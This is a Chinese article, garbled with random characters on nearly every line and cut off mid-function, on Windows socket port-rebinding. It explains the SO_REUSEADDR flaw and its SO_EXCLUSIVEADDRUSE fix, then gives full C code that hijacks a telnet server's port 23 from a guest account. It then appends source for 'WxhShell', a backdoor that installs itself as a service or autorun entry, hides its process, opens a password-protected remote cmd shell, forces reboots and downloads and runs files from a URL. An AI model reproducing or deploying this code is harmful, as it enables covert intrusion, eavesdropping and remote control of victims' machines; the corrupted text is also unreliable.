在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
eW)I}z+{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
N)*e^Nfb ;8T=uCi saddr.sin_family = AF_INET;
P`
F'Nf2U ;QQ7vo saddr.sin_addr.s_addr = htonl(INADDR_ANY);
5#)<rK 7 !.8#A': bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
d-sh6q5 BznA)EK?@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ebe@.ZVSi -l@W)?$ 这意味着什么?意味着可以进行如下的攻击:
mJ>99:W+ (VAL.v* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
j2 ^T:q[ BDRVT Y(s 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
()#tR^T "3|"rc&F# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
!#I/be] &n.uNe 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@!/fvP 25n(&NV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
/VO@>Hoh _0q~s@- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8{fz0H.<? FqxOHovE 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&]F|U3 ><MgIV #include
Gy6qLM #include
zZc@;S# #include
Qz(T[H5%W #include
}!]x|zU.= DWORD WINAPI ClientThread(LPVOID lpParam);
yO;C3q int main()
ENWB|@B {
wV&f|JO0+ WORD wVersionRequested;
+7<>x-+ DWORD ret;
]MLLr'6? WSADATA wsaData;
y6Epi|8 BOOL val;
!K3cf]2UD SOCKADDR_IN saddr;
(E}cA&{ SOCKADDR_IN scaddr;
m'(;uR` int err;
>X,Ag SOCKET s;
fEG3b#t N SOCKET sc;
;3}EBcw) int caddsize;
H
L|spl(c HANDLE mt;
eQVPxt2N DWORD tid;
d3G{0PX wVersionRequested = MAKEWORD( 2, 2 );
50GYL5)q err = WSAStartup( wVersionRequested, &wsaData );
)R)$T' if ( err != 0 ) {
1R%`i'$/ printf("error!WSAStartup failed!\n");
o-=d|dWG return -1;
4_762Gu% }
tP
Efz+1N saddr.sin_family = AF_INET;
hJo^Wo VUC <0WV //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^GrkIh0nL E'^]zW=9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Eh@T W%9* saddr.sin_port = htons(23);
+
lB+|yJ+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+#uNQ`1v {
)*K<;WIWH printf("error!socket failed!\n");
+:]Aqyc\ return -1;
EPe]-C` }
NVc!g val = TRUE;
-)OkG#J@ //SO_REUSEADDR选项就是可以实现端口重绑定的
B.mbKntK)R if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
aDl,
K;GL {
*Qg5Z printf("error!setsockopt failed!\n");
ZE8/ m") return -1;
f;Bfh3 }
.eabtGO, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
R=amKLD? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Z0ncN]) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,M@m4bx nK h%E-c if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
<duBwkiG {
Y%)h)El
ret=GetLastError();
|J<pLz printf("error!bind failed!\n");
~1=.?Ho return -1;
[+'BQ }
wyrI8UY listen(s,2);
-Y8ks7 while(1)
rO(TG {
H ZDaV&)@ caddsize = sizeof(scaddr);
YQ@dl //接受连接请求
0^&(u:~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
RO%tuU,- if(sc!=INVALID_SOCKET)
prlyaq;4 {
sWsG,v_ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
rv,NQZ if(mt==NULL)
6MQs \ J6. {
[W9e>Nsp0 printf("Thread Creat Failed!\n");
V5u}C-o break;
D/S>w(= }
M9Nk=s! 3 }
UAx.Qq CloseHandle(mt);
%oh`EGmVP }
m@G<ZCMZ closesocket(s);
FDVI>HK @ WSACleanup();
E/~"j return 0;
N753 }
&e-#|p#v DWORD WINAPI ClientThread(LPVOID lpParam)
*K+jsVDY {
]_ejDN\>{V SOCKET ss = (SOCKET)lpParam;
cuQ7kECV SOCKET sc;
~m?74^ i unsigned char buf[4096];
b(#"w[| SOCKADDR_IN saddr;
FDF3zzP0 long num;
<.r ]dCf DWORD val;
3?.1~ "-J DWORD ret;
I&pr_~. //如果是隐藏端口应用的话,可以在此处加一些判断
!F+|Y"c //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.DDg%z saddr.sin_family = AF_INET;
lL(p]!K' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
&G-#*OG saddr.sin_port = htons(23);
;|>q zx if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0i8[= {
!,Xyl}
# printf("error!socket failed!\n");
5)d,G9 return -1;
sf |oNOz }
4_Qa=T8 val = 100;
y+4?U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
s[G|q5n {
Wl&
>6./{ ret = GetLastError();
a^*cZ?Ta return -1;
<XQN;{xSa }
AI1@- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
t]
r,9df' {
T-a&e9B ret = GetLastError();
^))PCn_zb return -1;
u}K5/hC }
pqyWv; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
aBXYri {
xm<v">< printf("error!socket connect failed!\n");
l |08 closesocket(sc);
:y+B;qw closesocket(ss);
6=ZRn gQ return -1;
xwTijSj }
&mN'Tk while(1)
=
n+q_.A {
K&=1Ap //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
V";mWws+?# //如果是嗅探内容的话,可以再此处进行内容分析和记录
K #qoR /: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
:/o C:z\h num = recv(ss,buf,4096,0);
{ 1+Cw?1d if(num>0)
K0tV'Ml#" send(sc,buf,num,0);
i\t753<Ys else if(num==0)
![*:.CW break;
8weSrm num = recv(sc,buf,4096,0);
]3n , AHA if(num>0)
c3=-Mq9Q send(ss,buf,num,0);
[Ja)<!]< else if(num==0)
_1I K$gb[ break;
)l`1)Ea~ }
't
+"k8 closesocket(ss);
3jvx2 closesocket(sc);
r5t;'eCea return 0 ;
7JbY}@ }
=nJ{$%L\x, B$cOssl 89hF)80 ==========================================================
To3^L_v" M{C6rm| 下边附上一个代码,,WXhSHELL
iI3v[S 2>F\& ==========================================================
KMUK`tbaI fv|]= e #include "stdafx.h"
QB!jLlg( `TUZZz #include <stdio.h>
'S =sj}X #include <string.h>
C">`' G2 #include <windows.h>
hHcJN #include <winsock2.h>
b6 $,Xh #include <winsvc.h>
T!MZ+Ph`F #include <urlmon.h>
dZPW2yf !n|#|.0m #pragma comment (lib, "Ws2_32.lib")
EJ1Bq>u7 #pragma comment (lib, "urlmon.lib")
>BBl7 cppL0myJ #define MAX_USER 100 // 最大客户端连接数
O`cdQu #define BUF_SOCK 200 // sock buffer
H5~1g6b@ #define KEY_BUFF 255 // 输入 buffer
?Phk~ jE kW#S]fsfU #define REBOOT 0 // 重启
`YPe^!`$ #define SHUTDOWN 1 // 关机
]JH64~a YPu9Q #define DEF_PORT 5000 // 监听端口
?N:B {S G* #define REG_LEN 16 // 注册表键长度
*D2Nm9sl #define SVC_LEN 80 // NT服务名长度
+}P%HH]E/p <"<Mbbp // 从dll定义API
85'nXYN{d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
M|d={o9Hp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
djWcbC=g_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
hw;0t,1 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'iJDWxCD =/[ltUKs:a // wxhshell配置信息
.Y;b)]@f struct WSCFG {
aYqm0HCT int ws_port; // 监听端口
:pRF*^eU char ws_passstr[REG_LEN]; // 口令
+#4]o
}6G int ws_autoins; // 安装标记, 1=yes 0=no
m+?N7 char ws_regname[REG_LEN]; // 注册表键名
5L F/5` char ws_svcname[REG_LEN]; // 服务名
2gt+l?O<PS char ws_svcdisp[SVC_LEN]; // 服务显示名
^EF'TO$ char ws_svcdesc[SVC_LEN]; // 服务描述信息
9z:K1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
:Zza)>l int ws_downexe; // 下载执行标记, 1=yes 0=no
kBo;h.[l char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
-LTKpN`[@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
wzd`l?o, I"-dTa };
#<4--$Xo mb&lCd^- // default Wxhshell configuration
wq UQ"d struct WSCFG wscfg={DEF_PORT,
tR1FO%nC "xuhuanlingzhe",
wxE?3%.j\ 1,
{(4# )K2g% "Wxhshell",
PY?8[A+ "Wxhshell",
6JhMkB^h "WxhShell Service",
@D)Z{=>{=5 "Wrsky Windows CmdShell Service",
pV7N byb4 "Please Input Your Password: ",
{Bh("wg$Lk 1,
Ea-bC:> "
http://www.wrsky.com/wxhshell.exe",
4jQ'+ 2it "Wxhshell.exe"
b^x07lO };
Y&K <{\vE @xS]!1- // 消息定义模块
[F+,YV%t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_-O cc=Z char *msg_ws_prompt="\n\r? for help\n\r#>";
&iqw!
ud char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
m[spn@SF char *msg_ws_ext="\n\rExit.";
P>(P2~$Y" char *msg_ws_end="\n\rQuit.";
*:g_'K"+ char *msg_ws_boot="\n\rReboot...";
gyev5txn char *msg_ws_poff="\n\rShutdown...";
Z,
T#, char *msg_ws_down="\n\rSave to ";
)s)_XL =LI:S|[4 char *msg_ws_err="\n\rErr!";
_1aGtX|W char *msg_ws_ok="\n\rOK!";
x0A7O D^+?|Y@N char ExeFile[MAX_PATH];
<*<U!J-i int nUser = 0;
z}+i=cAN HANDLE handles[MAX_USER];
]!Oue_-; int OsIsNt;
Lu=O+{*8 je%l dY]/@ SERVICE_STATUS serviceStatus;
UX2lPgKdLz SERVICE_STATUS_HANDLE hServiceStatusHandle;
hJf2o E=AVrv5T // 函数声明
dY!u)M;~~ int Install(void);
'N\&<dT> int Uninstall(void);
E)W@{?.o# int DownloadFile(char *sURL, SOCKET wsh);
NLyXBV[hV int Boot(int flag);
9 |{%i$ void HideProc(void);
\K7t'20 int GetOsVer(void);
F}36IM9/: int Wxhshell(SOCKET wsl);
9pLg+6O void TalkWithClient(void *cs);
~jN'J+_$ int CmdShell(SOCKET sock);
eh(<m8I int StartFromService(void);
sZg6@s= int StartWxhshell(LPSTR lpCmdLine);
<uci9- eC &w85[zs VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
U%>'" VOID WINAPI NTServiceHandler( DWORD fdwControl );
_Zc4=c,K }Cj8 // 数据结构和表定义
d(;4`kd*N SERVICE_TABLE_ENTRY DispatchTable[] =
gmP9j)V6 {
19t{|w< {wscfg.ws_svcname, NTServiceMain},
ab.tH$:< {NULL, NULL}
c?E{fD"Fc3 };
F}Srn;V X(Qu{HhI // 自我安装
oehaQ#e int Install(void)
1/;o {
@MbVWiv char svExeFile[MAX_PATH];
fThgK;Qy'U HKEY key;
n?xTkkr0 strcpy(svExeFile,ExeFile);
tU@zhGb "35A/V // 如果是win9x系统,修改注册表设为自启动
]*N1t>fb if(!OsIsNt) {
c5% 6Y2W0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e,gyQjJR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
QJGKQ2^ n RegCloseKey(key);
|(%zb\#9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5l{Ts04k% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Kct@87z RegCloseKey(key);
28I^$> [ return 0;
KpHw-6" }
BPv>$
m+. }
cn`iX(ZgR }
!%)]56( else {
2g-` ]Vqb + ulagE|7 // 如果是NT以上系统,安装为系统服务
!*{q^IO9v& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.0p^W9 if (schSCManager!=0)
N|usFqCNk^ {
N( Oyi SC_HANDLE schService = CreateService
M4yI`dr6 (
vFv3'b$;G schSCManager,
I&VTW8jB wscfg.ws_svcname,
)[Z!*a m wscfg.ws_svcdisp,
%, P>%'0 SERVICE_ALL_ACCESS,
*ZrSiIPP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
!t#F/C SERVICE_AUTO_START,
xHA0gZf SERVICE_ERROR_NORMAL,
Fc 6iQ svExeFile,
L|j%S NULL,
3=mr
"&]r: NULL,
;i<jhNA NULL,
";SiL{Z NULL,
]?+{aS-]?k NULL
jgv`>o%<W );
>ut" OL9J if (schService!=0)
i^msjA {
ac{?+]8} CloseServiceHandle(schService);
?)D^~/
A CloseServiceHandle(schSCManager);
b KtD"JG\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
T{v>-xBRy strcat(svExeFile,wscfg.ws_svcname);
soRv1) el if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}H> ^o9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
\M<3}t RegCloseKey(key);
4T6 {Y return 0;
Q\ppfc{, }
]=pR }
Ifc]K? CloseServiceHandle(schSCManager);
+0Q,vK#j^ }
Fh$slow4! }
yLE7>48 w >; L{ return 1;
W-Hoyn>?2 }
n2B){~vE ')Y'c // 自我卸载
tBbOY}.VD int Uninstall(void)
yw-8#y {
r!1D*v5&: HKEY key;
%EbPI)yY3 Zdc63fllM if(!OsIsNt) {
Mj#-j/{x{5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`l;n:]+ RegDeleteValue(key,wscfg.ws_regname);
1\*\?\T>_ RegCloseKey(key);
/D&%v*~E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{76c%<`WaP RegDeleteValue(key,wscfg.ws_regname);
Rhc-q|Lz8 RegCloseKey(key);
FY{e2~gi return 0;
TfYVw~p_ % }
soA|wk\A }
#G" xNl }
[epi#]m else {
*a;@* %
2$/JZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
P262Q&.}d if (schSCManager!=0)
H,fZ!8(A_) {
v{zMO:3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
}/tf>?c if (schService!=0)
X|f7K {
]V l]XT$Um if(DeleteService(schService)!=0) {
e}/Lk5q! CloseServiceHandle(schService);
&s Pq<l o CloseServiceHandle(schSCManager);
klg25 #t return 0;
'm1N/)F }
)c n+1R CloseServiceHandle(schService);
Qd}m`YW-f$ }
DI+]D~N CloseServiceHandle(schSCManager);
d@`M
CchCB }
voP7"Dl[ }
wN1niR' |8>3`w! return 1;
[[PEa-992 }
poGc a1 IG)s^bP // 从指定url下载文件
;c~cet4 int DownloadFile(char *sURL, SOCKET wsh)
S#)Eom?V {
/Jf.y*; HRESULT hr;
F<>!kK/c char seps[]= "/";
B~o\+n char *token;
wW>zgTG char *file;
xh7c VE[UM char myURL[MAX_PATH];
f` =CpO* char myFILE[MAX_PATH];
_XJ2fA ) jK \T|vGJa strcpy(myURL,sURL);
x~xa6 token=strtok(myURL,seps);
eP*lI<NQ1 while(token!=NULL)
{ eCC$&" {
m'P1BLk file=token;
J)P$2# token=strtok(NULL,seps);
JJ;[, }
zi`b2h yFDv6yJ. GetCurrentDirectory(MAX_PATH,myFILE);
m_?d=o
strcat(myFILE, "\\");
06$!R/K strcat(myFILE, file);
ST\$= send(wsh,myFILE,strlen(myFILE),0);
0#w?HCx= send(wsh,"...",3,0);
}cT_qqw(f% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
,0x y\u if(hr==S_OK)
JkW9D)6 return 0;
DXz}YIEC else
H*#s
}9=kZ return 1;
fRg`UI4w} I%-
" |]$ }
q _-7i n6s}ww) // 系统电源模块
n1!?"m! int Boot(int flag)
311LC cRp {
t#q<n:WeYU HANDLE hToken;
': N51kC TOKEN_PRIVILEGES tkp;
FQ
g~l4WX O_Oj|'bBC if(OsIsNt) {
Cvn#=6V3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
()~pY!)1/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7S?4XyU/o tkp.PrivilegeCount = 1;
\[Z?& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
`rf_7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
+$oF]OO if(flag==REBOOT) {
]\7]%( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
z5)s/;Sc return 0;
.'Y]R3\M+ }
jDQZQ NS else {
^ f# FI& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
os/vtyP:a return 0;
[IK ) }
%-d]X{J: }
76u&EG% else {
`uC@nJ if(flag==REBOOT) {
Pp )3(T: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?O>V%@ return 0;
<=f}8a.R3 }
9K9DF1SOa else {
oWYmj=D~2z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
a'z) return 0;
+nJUFc }
lo[.&GD }
foQ#a )_U<7"~0l return 1;
>nzdnF_&zW }
,yd?gP-O E9~Ghx. // win9x进程隐藏模块
33!oS&L void HideProc(void)
;3'.C~ {
8MSC.0 trAkcYd HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
<:?r:fQX if ( hKernel != NULL )
br|;'i%( {
H,b5C_D29 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@|\}.M<e*) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=jN*P? FreeLibrary(hKernel);
}Hn/I,/ }
O }
f80K ^MVkZ{gtre return;
9/nn)soC3 }
0:+WO%z {?yr'* // 获取操作系统版本
Hla0 5N' 4 int GetOsVer(void)
V,$0p1?J {
]Ux<aiY]a
OSVERSIONINFO winfo;
5H ue7'LS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
8 XU1/i7N GetVersionEx(&winfo);
>Q(3*d > if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
3+XOZh8 return 1;
3`k;a1Z#O' else
{~F4WjHJp return 0;
B[KJR?> }
7AObC4 g mya_4I
m // 客户端句柄模块
SLh(9%S; int Wxhshell(SOCKET wsl)
/kfgx{jZ {
['T:ea6B SOCKET wsh;
C+TI]{t struct sockaddr_in client;
P'`r DWORD myID;
\_lod kf "sG=wjcw^ while(nUser<MAX_USER)
E@ESl0a; {
.FLy;_f+ int nSize=sizeof(client);
qTqwPWW* wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
rwI if(wsh==INVALID_SOCKET) return 1;
Sv +IS
OVV]x{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
NgY=&W, if(handles[nUser]==0)
ll C#1 closesocket(wsh);
7k rUKYVo else
_]Zs,Hy nUser++;
q#s,-u u }
!TUrQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
R=|{n'n$0| ;1a~pF S return 0;
!1ED~3/X }
Z
/9> C_7+a@?B // 关闭 socket
6b:tyQ void CloseIt(SOCKET wsh)
sJDas,7> {
v-PXZ'7~ closesocket(wsh);
1~PV[2a nUser--;
~/P&Tub^ ExitThread(0);
"T|PS6R~ }
]bK=FIK2 9pX&ZjYP- // 客户端请求句柄
8p: j&F void TalkWithClient(void *cs)
D ^x-^6^ {
w/kt3Lw I= &stsH SOCKET wsh=(SOCKET)cs;
.dav8n* char pwd[SVC_LEN];
pim!.=vN/U char cmd[KEY_BUFF];
L>3x9 char chr[1];
hy`?E6=9+ int i,j;
gy_>`16K x= 5N3[5 while (nUser < MAX_USER) {
lqm1!5dt |g//g\dd if(wscfg.ws_passstr) {
|y2w9n0D if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
k@'#@
t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
smnSDS //ZeroMemory(pwd,KEY_BUFF);
oIduxbAp i=0;
,.7*Hpa while(i<SVC_LEN) {
OEkN(wF LS917ci- // 设置超时
wf:OK[r9 fd_set FdRead;
^Gqt+K% struct timeval TimeOut;
+>r/ 0b FD_ZERO(&FdRead);
c\Q7"!e FD_SET(wsh,&FdRead);
nuw70*ell TimeOut.tv_sec=8;
W#hj 1 TimeOut.tv_usec=0;
i ~{Ufi int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Ac<Phy-J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
tQBRA/ vuoQz\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
d%o&+l# pwd
=chr[0]; <kx&w(=
if(chr[0]==0xd || chr[0]==0xa) { * iF]n2g:
pwd=0; !y@6Mm
break; CW,Wx: Y
} DKBSFm{~Q
i++; <=>=.kmGt
} s;6CExH
* /:x sI
// 如果是非法用户,关闭 socket lp(8E6
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ro9tZ'N!S
} H{=21\a\
~V\D|W9
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bp~g;h*E2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @*6 C=LL
w .?:SD
while(1) { WjlZ6g2i
xo7Kn+ Kl
ZeroMemory(cmd,KEY_BUFF); a+%6B_|\
:(M(>4t
// 自动支持客户端 telnet标准 "C I=`=
j=0; !0vG|C;'
while(j<KEY_BUFF) { eep1I
:N
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T-U}QM_e
cmd[j]=chr[0]; 'LO^<
if(chr[0]==0xa || chr[0]==0xd) { :gep:4&u
cmd[j]=0; Vz= PiMO
break; -(~!Jo_*'
}
$7rq3y
j++; z}*9uZ
} -De9_0#R
(adyZ/j
// 下载文件 F;7dt@5;
if(strstr(cmd,"http://")) { :{q<{^c
send(wsh,msg_ws_down,strlen(msg_ws_down),0); u[DfzH
if(DownloadFile(cmd,wsh)) N-e @j4WU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IX>d`O61*g
else \uaJ@{Vug
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yrC7F`.
} v~@pMA$(h
else { ):b$xNn
TX&Jt%
switch(cmd[0]) { xUa{1!Y8
YLiSbLz1
// 帮助 M!REygyx
case '?': { F!]lU`z)=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7~5ym15*
break; K>DRJz
} $h*L=t(
// 安装 8n*.).33
case 'i': { <w)r`D6
if(Install()) U'<KC"f:'!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Sc l#4bW
else t+1 %RyKFB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TjwBv6h
break; ^$'z!+QRM
} Jc|6&
// 卸载 \uza=e
case 'r': { 4Za7^c.
if(Uninstall()) 8&)DE@W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w-t8C=Z
else 9mmCp&~Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ucG@?@JENm
break; 6 1F(<!
} 93`
AWg/T
// 显示 wxhshell 所在路径 nh!a)]c[
case 'p': { er!DYv
char svExeFile[MAX_PATH]; :[hgxJu+
strcpy(svExeFile,"\n\r"); |~X ;1j!
strcat(svExeFile,ExeFile); L;'"A#Pa
send(wsh,svExeFile,strlen(svExeFile),0); (4dhuT
break; TwVlg;
} cM$P`{QrM
// 重启 8>WC5%f*
case 'b': { 2&^]k`Aj6D
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ihP|E,L=L
if(Boot(REBOOT)) (?(zH3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Q+=
f
else { /7t>TYip!
closesocket(wsh); ](wvu(y\E
ExitThread(0); eFL=G%
} xx{PespNt
break; O4^8jK}
} t ]_VG
// 关机 2IKnhBSV3
case 'd': { A .EbXo/
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TiO"xMX
if(Boot(SHUTDOWN)) JAQb{KefdO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "6us#T
else { FMClSeO7
closesocket(wsh); p4-o/8rO
ExitThread(0); uoX:^'q
} EB2!Hp uQ3
break; -wSg2'b4E
} YYu6W@m]
// 获取shell :qIXY/
case 's': { RkBb$q9F]
CmdShell(wsh); V9dF1Hj
closesocket(wsh); 'F$l{iR
ExitThread(0); PEuIWXr
break; 7,lq}a8z
} .[3Z1v,
// 退出 zY('t!u8
case 'x': { 2gq9k}38
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @]-jl}:]
CloseIt(wsh); /eOzXCSws
break; 1M
781
} ZGYr$C~
// 离开 O2f-5Y$@
case 'q': { Ft;^g3N
send(wsh,msg_ws_end,strlen(msg_ws_end),0); f'VX Y-
closesocket(wsh); i-6F:\;
WSACleanup(); qCqFy#Ms\
exit(1); <oX7P69
break; !WpBfd>v.I
} h >s!K9
} BC&9fr
} 8_tK4PwP
HY%i`]4X
// 提示信息 ~R2 6
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p%R
} .[JYj(p
} elFtBnL'
*/|9= $54
return; I|
b2acW
} 8@2OJ =`[
p~,]*y:XT
// shell模块句柄 kAC&S!n
int CmdShell(SOCKET sock) (r D_(%o
{ yGPS`S
STARTUPINFO si; Ou1JIxZ)|
ZeroMemory(&si,sizeof(si)); }0X:F`Y-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "0cID3A$
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ek}a}.3 {
PROCESS_INFORMATION ProcessInfo; zOa_X~!@
char cmdline[]="cmd"; V*iH}Y?^p
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L G1r]2
return 0; )Hk3A$6(
} Hr]h
Jc
nw<&3k(g}
// 自身启动模式 y10h#&k
int StartFromService(void) ~ y;6W0x
{ 26k LhFS
typedef struct FcYFovS
{ 0 SNIYkGE
DWORD ExitStatus; I{*<